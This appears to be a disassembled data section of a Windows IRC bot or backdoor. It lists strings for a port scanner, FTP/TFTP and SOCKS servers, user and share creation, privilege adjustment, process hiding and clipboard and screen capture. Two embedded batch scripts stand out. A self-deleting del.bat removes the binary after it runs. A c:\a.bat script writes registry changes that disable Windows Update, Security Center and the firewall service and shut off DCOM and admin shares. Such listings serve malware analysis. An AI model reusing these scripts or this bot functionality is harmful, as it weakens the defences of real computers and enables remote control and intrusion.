		db 28h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
unk_425F18	db    2			; DATA XREF: sub_406059+1FAo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_425F68	db    2			; DATA XREF: sub_406059+149o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	74h, 66h
		db  74h	; t
		db 70h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_1	db 'Failed to start server, error: <%d>.',0
		align 4
unk_425FAC	db    2			; DATA XREF: sub_406059+DBo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	74h, 66h
		db  74h	; t
		db 70h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aServerStarte_0	db 'Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_406435+38o
					; sub_408A5D+46o
unk_426008	db    2			; DATA XREF: sub_40656E+EBo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_426044	db    2			; DATA XREF: sub_40656E+93o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_426090	db    2			; DATA XREF: sub_406782+1CEo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_4260E4	db    2			; DATA XREF: sub_406782+173o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_2	db 'Failed to start worker thread, error: <%d>.',0
unk_426130	db    2			; DATA XREF: sub_406782+103o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_426178	db    2			; DATA XREF: sub_406782+87o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	70h, 6Fh
		db  72h	; r
		db 74h,	73h, 63h
		db  61h	; a
		db 6Eh,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 10h
unk_4261C0	db    2			; DATA XREF: sub_4069E1+156o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	72h, 65h
		db  64h	; d
		db 69h,	72h, 65h
		db  63h	; c
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStartC	db ' Failed to start client thread, error: <%d>.',0
		align 10h
unk_426210	db    2			; DATA XREF: sub_4069E1+E1o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	72h, 65h
		db  64h	; d
		db 69h,	72h, 65h
		db  63h	; c
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aClientConnecti	db ' Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_426268	db    2			; DATA XREF: sub_406B69+1AAo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	72h, 65h
		db  64h	; d
		db 69h,	72h, 65h
		db  63h	; c
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_3	db ' Failed to start connection thread, error: <%d>.',0
		align 4
unk_4262BC	db    2			; DATA XREF: sub_406B69+E1o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	72h, 65h
		db  64h	; d
		db 69h,	72h, 65h
		db  63h	; c
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aClientConnec_0	db ' Client connection to IP: %s:%d, Server thread: %d.',0
unk_426310	db    2			; DATA XREF: sub_406DED+1B2o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Fh
		db  63h	; c
		db 6Bh,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStar_4	db ' Failed to start server on Port %d.',0
unk_426350	db    2			; DATA XREF: sub_406DED+18Fo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Fh
		db  63h	; c
		db 6Bh,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aFailedToStar_5	db ' Failed to start client thread, error: <%d>.',0
		align 4
unk_42639C	db    2			; DATA XREF: sub_406DED+114o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Fh
		db  63h	; c
		db 6Bh,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aClientConnec_1	db ' Client connection from IP: %s:%d, Server thread: %d.',0
		align 10h
unk_4263F0	db    2			; DATA XREF: sub_406DED+A8o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Fh
		db  63h	; c
		db 6Bh,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aServerStarte_1	db ' Server started on: %s:%d.',0
		align 4
unk_426428	db    2			; DATA XREF: sub_406FF2+1F9o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Fh
		db  63h	; c
		db 6Bh,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aErrorFailedToC	db ' Error: Failed to connect to target, returned: <%d>.',0
		align 4
unk_42647C	db    2			; DATA XREF: sub_406FF2+18Ao
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Fh
		db  63h	; c
		db 6Bh,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aErrorFailedToO	db ' Error: Failed to open socket(), returned: <%d>.',0
		align 4
unk_4264CC	db    2			; DATA XREF: sub_406FF2+F2o
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	73h, 6Fh
		db  63h	; c
		db 6Bh,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aAuthentication	db ' Authentication failed. Remote userid: %s != %s.',0
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_4073B6+B8Co
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_4073B6+B7Fo
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_4073B6+B72o
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_4073B6+B65o
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_4073B6+B58o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_4073B6+B50o
		align 10h
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_4073B6:loc_407EF9o
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_4073B6+B0Eo
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_4073B6+B06o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_4073B6:loc_407EAFo
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4073B6+AB4o
		align 10h
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4073B6+AA7o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_4073B6+A9Ao
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_4073B6+A92o
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_4073B6:loc_407E3Bo
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4073B6+A50o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_4073B6+A48o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_4073B6:loc_407DF1o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4073B6+A06o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4073B6+9FEo
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_4073B6:loc_407DA7o
		align 10h
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4073B6+974o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_4073B6+967o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_4073B6+95Ao
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_4073B6+94Do
		align 10h
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_4073B6+940o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_4073B6+933o
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_4073B6+926o
		align 10h
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4073B6+919o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_4073B6+90Co
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_4073B6+8FFo
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_4073B6+8F7o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_4073B6:loc_407C9Co
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4073B6+8A9o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4073B6+89Co
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4073B6+894o
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_4073B6:loc_407C3Do
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4073B6+85Ao
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4073B6+7E8o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4073B6+7DBo
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_4073B6+7CEo
		align 10h
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4073B6+7C1o
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4073B6+7B4o
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_4073B6+7A7o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_4073B6+79Ao
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_4073B6+78Do
		align 10h
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4073B6+780o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_4073B6+778o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4073B6:loc_407B1Do
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_4073B6+62Eo
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_4073B6+621o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_4073B6+614o
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4073B6+607o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_4073B6+5FAo
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_4073B6+5EDo
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4073B6+5E0o
		align 10h
aAccept		db 'accept',0           ; DATA XREF: sub_4073B6+5D3o
					; .data:0042A780o
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_4073B6+5C6o
		align 10h
aSelect		db 'select',0           ; DATA XREF: sub_4073B6+5B9o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_4073B6+5B1o
		align 10h
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_4073B6+59Fo
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_4073B6+592o
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_4073B6+585o
		align 4
aSend		db 'send',0             ; DATA XREF: sub_4073B6+578o
					; sub_40CC09+1E2Bo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_4073B6+56Bo
		align 4
aNtohs		db 'ntohs',0            ; DATA XREF: sub_4073B6+55Eo
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_4073B6+551o
		align 4
aHtons		db 'htons',0            ; DATA XREF: sub_4073B6+544o
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_4073B6+537o
		align 10h
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_4073B6+52Ao
		align 4
aConnect	db 'connect',0          ; DATA XREF: sub_4073B6+51Do
					; .data:0042AB90o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_4073B6+510o
aSocket		db 'socket',0           ; DATA XREF: sub_4073B6+503o
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_4073B6+4F6o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_4073B6+4E9o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_4073B6+4DCo
		align 10h
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_4073B6+4CFo
		align 10h
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_4073B6+4C2o
		align 10h
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_4073B6+4B5o
		align 4
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_4073B6+4ADo
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_4073B6+49Co
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_4073B6+429o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_4073B6+41Co
		align 10h
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_4073B6+40Fo
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_4073B6+402o
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_4073B6+3F5o
		align 4
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_4073B6+3E8o
		align 4
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4073B6+3DBo
		align 10h
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_4073B6+3CEo
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_4073B6+3C6o
		align 10h
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_4073B6:loc_40776Bo
		align 4
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_4073B6:loc_407743o
		align 4
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4073B6+335o
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_4073B6+328o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_4073B6+31Bo
		align 10h
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_4073B6+30Eo
		align 10h
aControlservice	db 'ControlService',0   ; DATA XREF: sub_4073B6+301o
		align 10h
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_4073B6+2F4o
		align 10h
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_4073B6+2E7o
		align 10h
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_4073B6:loc_407695o
		align 10h
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4073B6+2AFo
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4073B6+2A2o
		align 10h
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4073B6:loc_407650o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_4073B6+252o
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_4073B6+245o
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_4073B6+238o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_4073B6+22Bo
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_4073B6+21Eo
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_4073B6+216o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4073B6:loc_4075BBo
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_4073B6+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_4073B6+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_4073B6+186o
		align 4
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_4073B6+179o
		align 4
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_4073B6+16Co
		align 4
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_4073B6+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_4073B6+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_4073B6+14Ao
		align 10h
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4073B6:loc_4074EBo
					; sub_41CA11+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4073B6:loc_4074BEo
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4073B6+A0o
		align 10h
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4073B6+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_4073B6+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_4073B6+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4073B6+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4073B6+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_4073B6+52o
		align 10h
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_4073B6+45o
		align 10h
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_4073B6+38o
		align 10h
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4073B6+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_4073B6+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4073B6+Ao
		align 4
unk_426D5C	db    2			; DATA XREF: sub_407F9F+2BEo
		db 73h,	2, 5Bh
		db  1Fh
		db 49h,	1Fh, 5Dh
		db  20h
		db 28h,	63h, 6Fh
		db  72h	; r
		db 65h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aDllTestComplet	db 'DLL test complete.',0
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+264o
		align 10h
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+160o
		align 10h
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_407F9F+28o
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_4084F4+72o
		align 10h
aMirc		db 'mIRC',0             ; DATA XREF: sub_4085B9+5o
					; sub_412A14+18o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_40863B+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_4086DF+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_408701+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_408701+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_408701+48o
		align 4
aCA_bat		db 'c:\a.bat',0         ; DATA XREF: sub_408889+29o
		align 10h
a@echoOffEchoRe	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_408889+14o
		db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
		db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
		db 'erv]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
		db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
		db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
		db 0Ah
		db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
